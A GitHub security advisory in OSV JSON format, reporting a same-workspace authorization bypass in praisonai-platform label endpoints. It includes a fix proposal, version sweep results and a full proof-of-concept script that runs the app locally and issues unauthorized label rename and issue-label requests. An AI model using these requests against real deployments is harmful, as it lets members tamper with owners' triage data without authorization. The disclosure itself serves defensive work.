{"id":"GHSA-xxgv-vgvj-qvxh","summary":"PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization","details":"# Platform members can rewrite shared labels and owner issue labels without owner/admin authorization\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/labels.py` defines `PATCH /workspaces/{workspace_id}/labels/{label_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. The route verifies the label belongs to the URL workspace, then calls `LabelService.update(label_id, body.name, body.color)`, which writes the shared label name/color.\n\nThe paired label delete route shows a stricter intended boundary. `DELETE /workspaces/{workspace_id}/labels/{label_id}` also verifies the label belongs to the URL workspace, but then calls `require_delete_permission(workspace_id, user, session)` before deleting. `require_delete_permission()` allows workspace admins/owners, or a supplied `resource_owner_id`; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives `403` for direct label deletion in current head, `0.1.6`, and `0.1.8`.\n\nThe issue-label link routes have the same under-authorized write boundary. `POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` and `DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` require only workspace membership after confirming the issue and label belong to the URL workspace. They then call `LabelService.add_to_issue(issue_id, label_id)` or `LabelService.remove_from_issue(issue_id, label_id)` without checking whether the caller owns the issue or has workspace admin/owner authority.\n\nAs a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return `403`, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain `member`, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.\n\nEssential excerpt:\n\n```python\nmember_delete_label = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n    headers=member_headers,\n)\n\nmember_patch_label = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n    json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n    headers=member_headers,\n)\n\nmember_remove_from_owner_issue = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n    headers=member_headers,\n)\n\nmember_add_back_to_owner_issue = await client.post(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n    headers=member_headers,\n)\n\noutsider_patch_label = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n    json={\"name\": \"Outsider attempt\"},\n    headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant 'persist-credentials' entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]\u003e=2.10.0' --with PyJWT --with 'passlib[bcrypt]\u003e=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"vulnerable\": true,\n  \"checks\": {\n    \"initial_owner_issue_labels\": [\n      \"Owner triage\"\n    ],\n    \"member_direct_label_delete\": 403,\n    \"member_patch_label\": 200,\n    \"owner_observed_label_name_after_member_patch\": \"Member-controlled triage\",\n    \"owner_observed_label_color_after_member_patch\": \"#000000\",\n    \"member_remove_label_from_owner_issue\": 204,\n    \"owner_issue_labels_after_member_remove\": [],\n    \"member_add_label_to_owner_issue\": 204,\n    \"owner_issue_labels_after_member_add\": [\n      \"Member-controlled triage\"\n    ],\n    \"non_member_patch_label\": 403,\n    \"non_member_add_label_to_issue\": 403,\n    \"owner_delete_label\": 204\n  }\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]\u003e=2.10.0' --with PyJWT --with 'passlib[bcrypt]\u003e=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"vulnerable\": true,\n  \"checks\": {\n    \"member_direct_label_delete\": 403,\n    \"member_patch_label\": 200,\n    \"member_remove_label_from_owner_issue\": 204,\n    \"member_add_label_to_owner_issue\": 204,\n    \"non_member_patch_label\": 403,\n    \"non_member_add_label_to_issue\": 403\n  }\n}\n```\n\nVersion sweep excerpt:\n\n```text\ncurrent git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204\n```\n\nThe `0.1.4` result is not a clean negative. It means direct member label deletion still returned `204` in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.\n\n## Impact\n\nAn ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.\n\n## Suggested Fix\n\nDefine explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for `PATCH /labels/{label_id}`, `POST /issues/{issue_id}/labels/{label_id}`, and `DELETE /issues/{issue_id}/labels/{label_id}` when the target issue or shared label was not created by the caller.\n\nIf labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.\n\nAdd regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives `403`; and direct label deletion remains protected.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe post-delete-guard label write authorization gap is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In sampled `0.1.4`, direct member label deletion already returned `204`, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.\n\nSuggested affected range for the post-delete-guard bypass: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.\n\n`GHSA-5jx9-w35f-vp65` / `CVE-2026-47414`, \"praisonai-platform: Label endpoints' unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)\", covers cross-workspace label operations in `\u003c=0.1.2` and lists `0.1.4` as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive `403`, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API\", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns `403` in current head, `0.1.6`, and `0.1.8` while the sibling label PATCH and issue-label add/remove routes still return `200`/`204`. If maintainers track the remaining issue-label DELETE behavior under `GHSA-rh39-9c67-59mh`, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers issue create/update accepting a body-supplied foreign `project_id` and polluting another workspace's project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.\n\n`GHSA-gv23-xrm3-8c62` covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.\n\n`GHSA-xwq8-frcg-77q8` covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.\n\n## References\n\n- `https://github.com/advisories/GHSA-5jx9-w35f-vp65`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Full PoV Script\n\nSave this as `pov_platform_label_authorization_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform label authorization gaps.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n    client: Any,\n    workspace_id: str,\n    headers: dict[str, str],\n    title: str,\n) -\u003e str:\n    response = await client.post(\n        f\"/api/v1/workspaces/{workspace_id}/issues/\",\n        json={\"title\": title, \"priority\": \"high\"},\n        headers=headers,\n    )\n    response.raise_for_status()\n    return response.json()[\"id\"]\n\n\nasync def _issue_label_names(\n    client: Any,\n    workspace_id: str,\n    issue_id: str,\n    headers: dict[str, str],\n) -\u003e list[str]:\n    response = await client.get(\n        f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels\",\n        headers=headers,\n    )\n    response.raise_for_status()\n    return [label[\"name\"] for label in response.json()]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, _owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _outsider_id = await _register(\n            client, \"outsider@example.com\", \"Outsider\"\n        )\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        owner_issue_id = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue\"\n        )\n\n        label_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            json={\"name\": \"Owner triage\", \"color\": \"#ff0000\"},\n            headers=owner_headers,\n        )\n        label_resp.raise_for_status()\n        label_id = label_resp.json()[\"id\"]\n\n        owner_delete_control_label_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            json={\"name\": \"Owner delete control\", \"color\": \"#00ff00\"},\n            headers=owner_headers,\n        )\n        owner_delete_control_label_resp.raise_for_status()\n        owner_delete_control_label_id = owner_delete_control_label_resp.json()[\"id\"]\n\n        member_delete_control_label_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            json={\"name\": \"Member delete control\", \"color\": \"#0000ff\"},\n            headers=owner_headers,\n        )\n        member_delete_control_label_resp.raise_for_status()\n        member_delete_control_label_id = member_delete_control_label_resp.json()[\"id\"]\n\n        owner_attach = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=owner_headers,\n        )\n        owner_attach.raise_for_status()\n        initial_issue_labels = await _issue_label_names(\n            client, workspace_id, owner_issue_id, owner_headers\n        )\n\n        member_delete_label = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n            headers=member_headers,\n        )\n\n        member_patch_label = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n            json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n            headers=member_headers,\n        )\n        owner_label_list_after_patch = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            headers=owner_headers,\n        )\n\n        member_remove_from_owner_issue = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=member_headers,\n        )\n        labels_after_member_remove = await _issue_label_names(\n            client, workspace_id, owner_issue_id, owner_headers\n        )\n\n        member_add_back_to_owner_issue = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=member_headers,\n        )\n        labels_after_member_add = await _issue_label_names(\n            client, workspace_id, owner_issue_id, owner_headers\n        )\n\n        outsider_patch_label = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n            json={\"name\": \"Outsider attempt\"},\n            headers=outsider_headers,\n        )\n        outsider_add_to_issue = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=outsider_headers,\n        )\n\n        owner_delete_label = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{owner_delete_control_label_id}\",\n            headers=owner_headers,\n        )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    owner_labels = (\n        owner_label_list_after_patch.json()\n        if owner_label_list_after_patch.status_code == 200\n        else []\n    )\n    owner_observed_label = owner_labels[0] if owner_labels else {}\n    checks = {\n        \"initial_owner_issue_labels\": initial_issue_labels,\n        \"member_direct_label_delete\": member_delete_label.status_code,\n        \"member_patch_label\": member_patch_label.status_code,\n        \"owner_observed_label_name_after_member_patch\": owner_observed_label.get(\"name\"),\n        \"owner_observed_label_color_after_member_patch\": owner_observed_label.get(\"color\"),\n        \"member_remove_label_from_owner_issue\": member_remove_from_owner_issue.status_code,\n        \"owner_issue_labels_after_member_remove\": labels_after_member_remove,\n        \"member_add_label_to_owner_issue\": member_add_back_to_owner_issue.status_code,\n        \"owner_issue_labels_after_member_add\": labels_after_member_add,\n        \"non_member_patch_label\": outsider_patch_label.status_code,\n        \"non_member_add_label_to_issue\": outsider_add_to_issue.status_code,\n        \"owner_delete_label\": owner_delete_label.status_code,\n    }\n    vulnerable = (\n        checks[\"initial_owner_issue_labels\"] == [\"Owner triage\"]\n        and checks[\"member_direct_label_delete\"] == 403\n        and checks[\"member_patch_label\"] == 200\n        and checks[\"owner_observed_label_name_after_member_patch\"]\n        == \"Member-controlled triage\"\n        and checks[\"owner_observed_label_color_after_member_patch\"] == \"#000000\"\n        and checks[\"member_remove_label_from_owner_issue\"] == 204\n        and checks[\"owner_issue_labels_after_member_remove\"] == []\n        and checks[\"member_add_label_to_owner_issue\"] == 204\n        and checks[\"owner_issue_labels_after_member_add\"] == [\"Member-controlled triage\"]\n        and checks[\"non_member_patch_label\"] == 403\n        and checks[\"non_member_add_label_to_issue\"] == 403\n        and checks[\"owner_delete_label\"] == 204\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": (\n            \"A workspace member can rewrite shared label taxonomy and add/remove labels \"\n            \"on an owner-created issue even though direct label deletion is owner/admin-only.\"\n        ),\n        \"issue_id\": owner_issue_id,\n        \"label_id\": label_id,\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}\"\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result['vulnerable']}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```","aliases":["CVE-2026-61440"],"modified":"2026-10-08T22:15:06.862247505Z","published":"2026-10-08T21:58:27Z","database_specific":{"cwe_ids":["CWE-862","CWE-863"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-08T21:58:27Z","nvd_published_at":"2026-07-15T17:16:52Z"},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xxgv-vgvj-qvxh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61440"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62180"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-label-endpoints"}],"affected":[{"package":{"name":"praisonai-platform","ecosystem":"PyPI","purl":"pkg:pypi/praisonai-platform"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.9"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.6","0.1.8"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.1.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xxgv-vgvj-qvxh/GHSA-xxgv-vgvj-qvxh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}